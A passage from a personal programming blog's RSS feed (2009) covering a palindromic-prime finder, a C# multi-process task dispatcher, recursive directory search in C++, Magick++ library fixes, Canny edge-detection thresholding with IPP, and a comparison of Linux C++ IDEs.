		endNum = _strtoui64(argv[2], NULL, 10);
#else
		beginNum = strtoull(argv[1], NULL, 10);
		endNum = strtoull(argv[2], NULL, 10);
#endif
	}

        unsigned long long i = beginNum;

        while (i &lt; endNum) {
                char s[30];
                int l = sprintf(s, &quot;%llu&quot;, i);

		//length cannot be even as even length palindrome numbers
		//can be divided by 11.
                if (l % 2 == 0) {
                    i = ((unsigned long long) (i / 10)) * 100 + 1;
                    continue;
                }

		if (IsPalindrome(i)) {
			if (IsPrime(i)) {
				cout &lt;&lt; i &lt;&lt; endl;
			}
		}

                i+=2;

                if (s[0] % 2 == 0) {
                    i+=pow(10, l-1);

		    //leading/ending number cannot be 5
                    if (((int) (s[0] - '0')) + 1 == 5) {
                        i += 2 * pow(10, l-1);
                    }
                }
	}
	return (EXIT_SUCCESS);
}
</pre>
<p>At first, I was trying to find all the palprimes that can be represented by 64 bit integers. But soon I realized that it would take months to do so using the code above with a quad-core PC (using 4 processes with different ranges). Anyway, here&#8217;s the last few palindromic primes less than 10,000,000,000,000:</p>
<blockquote><p>
9999899989999<br />
9999901099999<br />
9999907099999<br />
9999913199999<br />
9999919199999<br />
9999938399999<br />
9999961699999<br />
9999970799999<br />
9999980899999<br />
9999987899999
</p></blockquote>
<p>And here are a few interesting ones:</p>
<blockquote><p>
11357975311<br />
1112345432111<br />
1300000000031<br />
1700000000071<br />
1900000000091<br />
7900000000097<br />
9200000000029<br />
1357900097531
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/11/15/a-simple-program-for-finding-palindromic-prime-numbers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Poor Man&#8217;s Parallel Task Dispatcher</title>
		<link>http://www.kerrywong.com/2009/07/14/poor-mans-parallel-task-dispatcher/</link>
		<comments>http://www.kerrywong.com/2009/07/14/poor-mans-parallel-task-dispatcher/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 01:55:39 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Mono]]></category>
		<category><![CDATA[Multi-threading]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1392</guid>
		<description><![CDATA[Even though multi-core processors are almost ubiquitous nowadays, applications are slow to catch up. Of course, one could always re-write the applications in order to take the full advantages in a multi-core environment. But it is not an easy undertaking. For applications that performs rather repetitive tasks over a well defined set of data (e.g. [...]]]></description>
			<content:encoded><![CDATA[<p>Even though multi-core processors are almost ubiquitous nowadays, applications are slow to catch up. Of course, one could always re-write the applications in order to take the full advantages in a multi-core environment. But it is not an easy undertaking.<span id="more-1392"></span> For applications that performs rather repetitive tasks over a well defined set of data (e.g. image processing) it is relatively easy to utilize multiple cores with some simple modifications to the applications themselves. </p>
<p>For the type of applications that perform the same task over a large dataset for example,</p>
<pre class="brush: csharp;">
for (int i = 0 ; i &lt; num ; i++)
{
    //lengthy tasks
}
</pre>
<p>we could easily break down the <em>for loop</em> evenly into chunks that fit into the number of processors given. And for each of the subsets we could create a new process to perform the desired tasks. For instance, if we were to execute the above <em>for loop</em> in parallel on a duo-core processor, we could re-write each of the loops like the following:</p>
<pre class="brush: csharp;">
//core 1
for (int i = 0 ; i &lt; num ; i+=2)
{
    //lengthy tasks
}
</pre>
<pre class="brush: csharp;">
//core 2
for (int i = 1 ; i &lt; num ; i+=2)
{
    //lengthy tasks
}
</pre>
<p>By executing the application in separate processes, we eliminated certain race conditions that must be properly handled in a multi-threaded process and thus it is far easier to execute multiple processes concurrently when there is no inter-process communications involved than to handle multi-processing within a process via multi-threading. In a multi-process scenario, the operating system handles the concurrency issue behind the scene whereas in the multi-threading case the application developer must ensure the code regions are thread safe.</p>
<p>The following C# code shows how to dispatch tasks among different processes using asynchronous method invocations. Each process being invoked can identify its order by the extra integer parameter (line 36) passed to it. Thus we only needed to modify the target application to take this extra parameter into account (for instance, in a quad-core system, the first process would process items 1,5,9&#8230; and the second process would run items 2,6,10, and so on)</p>
<pre class="brush: csharp;">
using System;
using System.Diagnostics;
using System.Threading;

namespace MPDispatcher
{
    class Program
    {
        public delegate bool CmdDlg(string fn, string args);

        private bool RunCommand(string fn, string args)
        {
            bool r = true;
            Process p = new Process();

            p.StartInfo.FileName = fn;
            p.StartInfo.Arguments = args;

			Console.WriteLine(String.Format(&quot;Starting {0} with arguments {1}. Thread ID: {2}&quot;, fn, args, Thread.CurrentThread.ManagedThreadId));
            r = p.Start();
            p.WaitForExit();

            return r;
        }

		public bool DispatchCommand(int numOfThreads, string args)
        {
            bool r = true;

            IAsyncResult[] ars = new IAsyncResult[numOfThreads];
            CmdDlg[] dlgs = new CmdDlg[numOfThreads];

            for (int i = 0; i &lt; numOfThreads; i++)
            {
                dlgs[i] = new CmdDlg(RunCommand);
                ars[i] = dlgs[i].BeginInvoke(args, i.ToString(), null, null);
				Thread.Sleep(100);
            }

            bool finished = false;

			//wait till all processes are finished.
            while (!finished)
            {
                bool t = true;

                for (int i = 0; i &lt; numOfThreads; i++)
                    t = t &amp;&amp; ars[i].IsCompleted;   

                if (t) finished = true;

                Thread.Sleep(100);
            }

            for (int i = 0; i &lt; numOfThreads; i++)
            {
                r = r &amp;&amp; dlgs[i].EndInvoke(ars[i]);
            }

            return r;
        }

        static void Main(string[] args)
        {
            Program p = new Program();

			if (args.Length &lt; 1 || args[0].ToUpper() == &quot;-H&quot;) {
				Console.WriteLine(&quot;Usage: MPDispatcher {app name} {app args}&quot;);
			} else {
				int numThreads = 4; //use 4 threads
				string argStr = string.Empty;

				for (int i = 1 ; i &lt; args.Length; i++) {
					argStr = String.Format(&quot;{0} {1}&quot;, argStr, args[i]);
				}

            	p.DispatchCommand(numThreads, argStr);
			}
        }
    }
}
</pre>
<p>The above code works under Windows and Linux (Mono). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/07/14/poor-mans-parallel-task-dispatcher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C++ Recursive Directory Search Under Linux</title>
		<link>http://www.kerrywong.com/2009/06/12/c-recursive-directory-search-under-linux/</link>
		<comments>http://www.kerrywong.com/2009/06/12/c-recursive-directory-search-under-linux/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 21:55:29 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[boost]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1154</guid>
		<description><![CDATA[I was trying to search for some code examples on how to do a recursive directory search under Linux using C++ the other day. But to my surprise, I could not find any place that offers a complete example. So I decided to post my code here after I created my own and hopefully you [...]]]></description>
			<content:encoded><![CDATA[<p>I was trying to search for some code examples on how to do a recursive directory search under Linux using C++ the other day. But to my surprise, I could not find any place that offers a complete example. So I decided to post my code here after I created my own and hopefully you will find it helpful.<span id="more-1154"></span></p>
<p>For those who are impatient, the function to perform recursive directory search is here:</p>
<pre class="brush: cpp;">
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;dirent.h&gt;
#include &lt;errno.h&gt;
#include &lt;vector&gt;
#include &lt;string&gt;
#include &lt;iostream&gt;
#include &lt;boost/regex.hpp&gt;

void GetFileListing(vector&lt;string&gt; &amp;files, string dir, string filter, bool ignoreCase) {
    DIR *d;
    if ((d = opendir(dir.c_str())) == NULL) return;
    if (dir.at(dir.length() - 1) != '/') dir += &quot;/&quot;;

    struct dirent *dent;
    struct stat st;
    boost::regex exp;

    if (ignoreCase)
        exp.set_expression(filter, boost::regex_constants::icase);
    else
        exp.set_expression(filter);

    while ((dent = readdir(d)) != NULL) {
        string path = dir;

        if (string(dent-&gt;d_name) != &quot;.&quot; &amp;&amp; string(dent-&gt;d_name) != &quot;..&quot;) {
            path += string(dent-&gt;d_name);
            const char *p = path.c_str();
            lstat(p, &amp;st);

            if (S_ISDIR(st.st_mode)) {
                GetFiles(files, (path + string(&quot;/&quot;)).c_str(), filter, ignoreCase);
            } else {
                if (filter == &quot;.*&quot;) {
                    files.push_back(path);
                } else {
                    if (boost::regex_match(string(dent-&gt;d_name), exp)) files.push_back(path);
                }
            }
        }
    }

    closedir(d);
}
</pre>
<p>I used <a href="http://www.boost.org">boost library</a> to perform regular expression matches for file names. If you just want to obtain a listing of all the files, you can do without using the boost library.</p>
<p>The following code snippet demonstrates how to use the function. The results are stored in a vector container passed in. Note that the &#8220;filter&#8221; parameter needs standard regular expressions (so if you are looking for any files, the expression should be  .* instead of just *) to work properly.</p>
<p>The code should be pretty self-explanatory. If <em>ignoreCase</em> is set to true, then the match will be case-insensitive.</p>
<pre class="brush: cpp;">
vector&lt;string&gt; files;

FileUtils::GetFiles(files,&quot;/tmp&quot;, &quot;.*&quot;, true);
for (int i = 0 ; i &lt; files.size(); i++) {
    cout &lt;&lt; files[i] &lt;&lt; endl;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/06/12/c-recursive-directory-search-under-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Magick++ Missing Delegate Error</title>
		<link>http://www.kerrywong.com/2009/05/20/magick-missing-delegate-error/</link>
		<comments>http://www.kerrywong.com/2009/05/20/magick-missing-delegate-error/#comments</comments>
		<pubDate>Thu, 21 May 2009 00:24:02 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Miscellaneous]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Magick++]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1084</guid>
		<description><![CDATA[As I wrote last time, I did a clean Ubuntu 9.04 install on my main PC. Everything worked pretty well. But after re-installing all the packages I needed for C++ development, I realized that I still was missing some libraries as I got &#8220;Magick::ErrorMissingDelegate&#8221; exception (ImageMagick: no decode delegate for this image format) when I [...]]]></description>
			<content:encoded><![CDATA[<p>As I wrote <a href="/2009/05/13/ubuntu-904-on-my-main-pc/">last time</a>, I did a clean Ubuntu 9.04 install on my main PC. <span id="more-1084"></span>Everything worked pretty well. But after re-installing all the packages I needed for C++ development, I realized that I still was missing some libraries as I got &#8220;Magick::ErrorMissingDelegate&#8221; exception (ImageMagick: no decode delegate for this image format) when I tried to open JPEG or PNG images from code utilizing Magick++ image library.</p>
<p>After a quick <a href="http://www.imagemagick.org/discourse-server/viewtopic.php?f=1&#038;t=12366">search on ImageMagick&#8217;s site</a> I realized that I was missing the following libraries:</p>
<blockquote><p>
libpng12<br />
libjpeg62
</p></blockquote>
<p><!--more--></p>
<p>Note, that you might want to use the following commands to find out the exact package names:</p>
<blockquote><p>
sudo apt-cache search libpng<br />
sudo apt-cache search libjpeg
</p></blockquote>
<p>sudo apt-cache search libjpeg<br />
And then use the following commands to install the packages:</p>
<blockquote><p>
sudo apt-get install libpng12-0 libpng12-dev<br />
sudo apt-get install libjpeg62 libjpeg62-dev
</p></blockquote>
<p>Note that after that, you will need to re-configure and re-build the Magick++ library (e.g. ./configure, ./make ./make install) so that Magick++ library can be linked correctly with the above libraries. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/05/20/magick-missing-delegate-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Canny Edge Detection Auto Thresholding</title>
		<link>http://www.kerrywong.com/2009/05/07/canny-edge-detection-auto-thresholding/</link>
		<comments>http://www.kerrywong.com/2009/05/07/canny-edge-detection-auto-thresholding/#comments</comments>
		<pubDate>Fri, 08 May 2009 02:15:41 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Image Processing]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=999</guid>
		<description><![CDATA[In the example I gave in &#8220;Interfacing IPP with Magick++&#8220;, I illustrated how to use Intel’s Integrated Performance Primitives (IPP) to perform edge detection. One issue with Canny edge detection algorithm is that we need to specify a high threshold and a low threshold. How to select those threshold values affect the quality of the [...]]]></description>
			<content:encoded><![CDATA[<p>In the example I gave in &#8220;<a href="/2009/03/17/interfacing-ipp-with-magick/">Interfacing IPP with Magick++</a>&#8220;, I illustrated how to use <a href="http://software.intel.com/en-us/intel-ipp/">Intel’s Integrated Performance Primitives (IPP)</a> to perform edge detection. One issue with <a href="http://en.wikipedia.org/wiki/Canny_edge_detector">Canny edge detection</a> algorithm is that we need to specify a high threshold and a low threshold. How to select those threshold values affect the quality of the detected edge greatly. And in my previous example, the threshold values were chosen manually. In this blog post, I will examine a couple of simple methods that can be used to automatically determine the threshold values.<span id="more-999"></span></p>
<p>The simplest way is to use the mean value of the gray scale image pixel values. As a rule of thumb, we set the low threshold to 0.66*[mean value] and set the high threshold to 1.33*[mean value]. Another way is to use the median color in the gray scale image and uses 0.66*[median value] and 1.33*[median value] accordingly. For typical images, these two methods achieve comparable results.</p>
<p>For example, the following shows the picture of a building along with its histogram (original image from <a href="ftp://ftp.research.microsoft.com/pub/download/orid">Microsoft Research Digital Image</a>. Please see <a href="http://research.microsoft.com/en-us/um/people/antcrim/data_objrec/msr%20cambridge%20eula%20for%20digital%20images_download.rtf">Microsoft Research Digital Image License Agreement</a> for more information):</p>
<table>
<tr>
<td>
<div id="attachment_1011" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_gray.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_gray.jpg" alt="Building" title="Building" width="320" height="240" class="size-full wp-image-1011" /></a><p class="wp-caption-text">Building</p></div>
</td>
<td>
<div id="attachment_1012" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_hist.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_hist.png" alt="Building Histogram" title="Building Histogram" width="320" height="240" class="size-full wp-image-1012" /></a><p class="wp-caption-text">Building Histogram</p></div>
</td>
</tr>
</table>
<p>The following shows the edge detection results using Canny algorithm (left image uses mean value auto-thresholding, right image uses median value auto-thresholding) and the results exhibit very little visible differences. </p>
<table>
<tr>
<td>
<div id="attachment_1006" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_mean.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_mean.jpg" alt="Building (Canny Mean)" title="Building (Canny Mean)" width="320" height="240" class="size-full wp-image-1006" /></a><p class="wp-caption-text">Building (Canny Mean)</p></div>
</td>
<td>
<div id="attachment_1007" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_median.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_median.jpg" alt="Building (Canny Median)" title="Building (Canny Median)" width="320" height="240" class="size-full wp-image-1007" /></a><p class="wp-caption-text">Building (Canny Median)</p></div>
</td>
</tr>
</table>
<p>However, for images has non-equalized histogram (see the picture of cloud and its histogram below): </p>
<table>
<tr>
<td>
<div id="attachment_1018" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_gray.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_gray.jpg" alt="Cloud" title="Cloud" width="240" height="320" class="size-full wp-image-1018" /></a><p class="wp-caption-text">Cloud</p></div>
</td>
<td>
<div id="attachment_1019" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist.png" alt="Cloud Histogram" title="Cloud Histogram" width="320" height="240" class="size-full wp-image-1019" /></a><p class="wp-caption-text">Cloud Histogram</p></div>
</td>
</tr>
</table>
<p>Canny Edge detection result based on mean value auto-thresholding is pretty poor (see image on the left below), while edge detection based on median value auto-thresholding achieved much better result (see image on the right below)</p>
<table>
<tr>
<td>
<div id="attachment_1021" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_canny_mean.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_canny_mean.jpg" alt="Cloud (Canny Mean)" title="Cloud (Canny Mean)" width="240" height="320" class="size-full wp-image-1021" /></a><p class="wp-caption-text">Cloud (Canny Mean)</p></div>
</td>
<td>
<div id="attachment_1024" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg" alt="Cloud (Canny Median)" title="Cloud (Canny Median)" width="240" height="320" class="size-full wp-image-1024" /></a><p class="wp-caption-text">Cloud (Canny Median)</p></div>
</td>
</tr>
</table>
<p>Alternatively, we could have performed histogram equalization on the image first before applying Canny edge detection with mean auto-thresholding:</p>
<table>
<tr>
<td>
<div id="attachment_1026" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq.png" alt="Cloud Equalized" title="Cloud Equalized" width="240" height="320" class="size-full wp-image-1026" /></a><p class="wp-caption-text">Cloud Equalized</p></div>
</td>
<td>
<div id="attachment_1028" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist_eq.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist_eq.png" alt="Cloud Equalized Histogram" title="Cloud Equalized Histogram" width="320" height="240" class="size-full wp-image-1028" /></a><p class="wp-caption-text">Cloud Equalized Histogram</p></div>
</td>
</tr>
</table>
<p>And after image equalization, both mean and median value auto-thresholding achieved similar results.</p>
<table>
<tr>
<td>
<div id="attachment_1030" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_mean.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_mean.jpg" alt="Cloud Equalized (Canny Mean)" title="Cloud Equalized (Canny Mean)" width="240" height="320" class="size-full wp-image-1030" /></a><p class="wp-caption-text">Cloud Equalized (Canny Mean)</p></div>
</td>
<td>
<div id="attachment_1031" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg" alt="Cloud Equalized (Canny Median)" title="Cloud Equalized (Canny Median)" width="240" height="320" class="size-full wp-image-1030" /></a><p class="wp-caption-text">Cloud Equalized (Canny Median)</p></div>
</td>
</tr>
</table>
<p>So the Canny edge detection using median value auto-thresholding seems to adapt to different types of images very well (note selecting the median value selection can be thought as equalizing the histogram, except that the pixel values are not changed during such operation).</p>
<p>The following is the code listing for the histogram calculation using IPP (based on the <a href="/2009/04/10/an-image-class-based-on-ipp/">image class I created earlier</a>)</p>
<pre class="brush: cpp;">
/** @brief Get the min max mean value statistics for the current image
 *   @param min, max, mean: these are output parameters that are passed
 *         back by reference.
 */
void IPPGrayImage::MinMaxMean(float&amp; min, float&amp; max, double&amp; mean)
{
    IppStatus sts;
    IppiSize origImgSize = {_width, _height};

    sts = ippiMinMax_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, &amp;min, &amp;max);
    assert(sts == ippStsNoErr);
    sts = ippiMean_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, &amp;mean, ippAlgHintFast);
    assert(sts == ippStsNoErr);
}

/** @brief Calculate the histogram of the image
 *   @param nLevel: the number of bins in the histogram
 *        levels: this is the optional levels user can pass in (histogram will be then
 *                calculated with these levels instead of the uniform levels by default.
 *   @return an integer array which contains the histogram.
 *   @note the histogram is by default calculated using uniform bins across the color range.
 */
unsigned int * IPPGrayImage::GetHistogram(unsigned int nLevel, float levels[])
{
    IppStatus sts;
    Ipp32f* l = new Ipp32f[nLevel];
    IppiSize origImgSize = {_width, _height};

    unsigned int* bins = new unsigned int[nLevel - 1];

    float minVal = 0, maxVal = 0, stepVal = 0;
    double meanVal = 0;
    if (levels != NULL)
    {
        for (unsigned int i = 0; i &lt; nLevel; i++)
        {
            l[i] = levels[i];
        }
    }
    else
    {
        MinMaxMean(minVal, maxVal, meanVal);
        stepVal = (maxVal - minVal) / (float) nLevel;

        for (unsigned int i = 0; i &lt; nLevel; i++)
        {
            l[i] = minVal + stepVal * i;
        }
    }

    sts = ippiHistogramRange_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, (Ipp32s*) bins, (Ipp32f*) l, nLevel);
    return bins;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/05/07/canny-edge-detection-auto-thresholding/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>C++ IDEs Under Linux</title>
		<link>http://www.kerrywong.com/2009/04/18/c-ides-under-linux/</link>
		<comments>http://www.kerrywong.com/2009/04/18/c-ides-under-linux/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 02:27:04 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Code::Blocks]]></category>
		<category><![CDATA[KDevelop]]></category>
		<category><![CDATA[NetBeans]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=964</guid>
		<description><![CDATA[So far I have been mainly using KDevelop and Code::Blocks as my C++ development IDEs. Recently, I started using NetBeans IDE for C++ and I started to like it quite a bit. In my opinion, the above three IDEs all have their strengths and weaknesses depending on what kind of project you are working on. [...]]]></description>
			<content:encoded><![CDATA[<p>So far I have been mainly using <a href="http://www.kdevelop.org">KDevelop</a> and <a href="http://www.codeblocks.org">Code::Blocks</a> as my C++ development IDEs. Recently, I started using <a href="http://www.netbeans.org/">NetBeans IDE</a> for C++ and I started to like it quite a bit.<span id="more-964"></span></p>
<p>In my opinion, the above three IDEs all have their strengths and weaknesses depending on what kind of project you are working on. Here are some of my observations.<br />
<strong><br />
KDevelop is probably the most comprehensive IDE of the three</strong>. This should not come as a surprise as it has been around for more than 10 years and it bas been the de facto development environment for most of the <a href="http://www.kde.org">KDE</a> development work. It is very feature rich and you can use it to develop many different types of applications natively out of box (e.g. KDE, GTK+, Qt, wxWidgets, etc). If you are developing <a href="http://www.gnu.org">GNU</a> style applications, you will benefit from the Automake project type if provides. Besides the vast functionalities KDevelop provides, it is also very fast, efficient and stable. </p>
<p>Nonetheless, KDevelop is not the most intuitive IDE and does not suit small projects (e.g. prof of concept code) well as the initial project setup can be time consuming.</p>
<p><strong>Code::Blocks is a very capable IDE for C++ development as well</strong>. It offers many project templates even though it does not offer native KDE project types. This should not be a problem to most people however. Among the features I like the most is that it does not require explicit make file configuration and the build dependencies are inferred by default. This makes it very attractive for rapid prototyping. Debugging under Code::Blocks is also a pleasant experience. It also integrates (at least in the later SVN versions) <a href="http://valgrind.org/">Valgrind</a>&#8216;s MemCheck and Cachegrind, which are very useful for detecting memory leaks and tweaking algorithms for the maximum performance.</p>
<p>The latest stable version of Code::Blocks is 8.02, it is a little dated as a lot of functionalities have been added in the later SVN builds. If you do not require the most stability (I have run into <a href="/2009/04/15/how-to-revert-to-a-specific-svn-version-of-codeblocks/">some issues</a> recently), using SVN build should not be a problem. The editor (e.g. syntax highlighting, collapsible regions) is a little bit buggy though and the contextual help does not always work to the level of detail I desired. </p>
<p><strong>NetBeans C++ IDE is probably the most beautiful one among the three</strong>. It offers the most detailed syntax highlighting, and can be configured to display class hierarchy and library function information. The refactor tool works pretty well and is certainly a boon to large scale development. Its contextual help is also of top-notch.</p>
<p>All of these come at a cost of course. NetBeans C++ IDE is the most resource intensive among the three. It can easily use 500 MB memory when doing development and can be sluggish at times. It also comes with a very limited project template (e.g. no out-of-box project templates for Qt, wxWidgets). Certain settings <a href="http://www.netbeans.org/kb/docs/cnd/toolchain.html">are hard to get at</a> as well. Nevertheless, if I am primarily writing back-end code, NetBeans C++ IDE could easily earn my top choice. </p>
<p>Some people like <a href="http://www.anjuta.org">Anjuta</a> and compare it favorably to Code::Blocks. But I haven&#8217;t got a chance to use it yet.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/04/18/c-ides-under-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>An Image Class Based On IPP</title>
		<link>http://www.kerrywong.com/2009/04/10/an-image-class-based-on-ipp/</link>
		<comments>http://www.kerrywong.com/2009/04/10/an-image-class-based-on-ipp/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 00:34:55 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[FFT]]></category>
		<category><![CDATA[IPP]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=935</guid>
		<description><![CDATA[A couple of weeks ago, I wrote about how to interface Integrated Performance Primitives (IPP) with Magick++. While IPP offers excellent performance advantages, it does not come with the easiest programming model. Fortunately, it is easy enough to create a C++ wrapper on top of IPP and provide an easier to use programming interface. In [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of weeks ago, I wrote about <a href="/2009/03/17/interfacing-ipp-with-magick/">how to interface Integrated Performance Primitives (IPP) with Magick++</a>. While IPP offers excellent performance advantages, it does not come with the easiest programming model. Fortunately, it is easy enough to create a C++ wrapper on top of IPP and provide an easier to use programming interface.<span id="more-935"></span></p>
<p>In this article, I will show a simple example of creating a wrapper class using <a href="http://www.intel.com/cd/software/products/asmo-na/eng/302910.htm">IPP</a> and <a href="http://www.imagemagick.org/Magick%2B%2B/">Magick++</a>. The example I am going to show can be used to calculate the 2-dimensional FFT spectrum of a gray-scale image. This framework can be easily extended to include other algorithms that can be applied to an image using IPP.</p>
<p>Before I show the implementation details, let me first show how easy it is to use the class. The code snippet below shows how to read in an image file, apply 2D FFT with and without a Hamming window and save the results into image files.</p>
<pre class="brush: cpp;">
    IPPGrayImage *img, *img1;

    img = new IPPGrayImage();
    img-&gt;LoadFromFile(IMAGE_FILE);

    img1 = img-&gt;Clone();
    img1 = img1-&gt;FFT(true);
    img1-&gt;SaveToFile(IMAGE_HOME + &quot;/test_fftmag.jpg&quot;);
    img1 = img-&gt;Clone();
    img1 = img-&gt;ApplyHammingWindow();
    img1-&gt;SaveToFile(IMAGE_HOME + &quot;/test_hamming.jpg&quot;);
    img1 = img1-&gt;FFT(true);
    img1-&gt;SaveToFile(IMAGE_HOME + &quot;/test_fftmag_hamming.jpg&quot;);
</pre>
<p>And for the following IMAGE_FILE,<br />
<div id="attachment_941" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/testimg.jpeg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/testimg.jpeg" alt="Test image used for 2D FFT" title="Test Image" width="256" height="256" class="size-full wp-image-941" /></a><p class="wp-caption-text">Test image used for 2D FFT</p></div></p>
<p>Here are the results for FFT spectrum with and without hamming window:<br />
<div id="attachment_943" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_hamming.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_hamming.jpg" alt="Hamming window applied" title="Hamming window applied" width="256" height="256" class="size-full wp-image-943" /></a><p class="wp-caption-text">Hamming window applied</p></div><br />
<div id="attachment_944" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag.jpg" alt="FFT spectrum (without Hamming window)" title="FFT spectrum (without Hamming window)" width="256" height="256" class="size-full wp-image-944" /></a><p class="wp-caption-text">FFT spectrum (without Hamming window)</p></div><br />
<div id="attachment_945" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag_hamming.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag_hamming.jpg" alt="FFT spectrum with Hamming window" title="FFT spectrum with Hamming window" width="256" height="256" class="size-full wp-image-945" /></a><p class="wp-caption-text">FFT spectrum with Hamming window</p></div></p>
<p>The header file for the class is as follows:</p>
<pre class="brush: cpp;">
#ifndef IPPGRAYIMAGE_H
#define IPPGRAYIMAGE_H

#include &lt;Magick++/Image.h&gt;
#include &lt;Magick++.h&gt;
#include &lt;ipp.h&gt;

using namespace std;
using namespace Magick;

namespace KDW
{
    class IPPGrayImage
    {
    public:
        unsigned int PIXEL_SIZE;

        IPPGrayImage();
        IPPGrayImage(const unsigned int width, const unsigned int height);
        IPPGrayImage(Ipp32f *imgBuffer, const unsigned int width, const unsigned int height);
        IPPGrayImage(const IPPGrayImage&amp; other);
        virtual ~IPPGrayImage();
        IPPGrayImage&amp; operator=(const IPPGrayImage&amp; other);

        void LoadFromFile(string fileName);
        void SaveToFile();
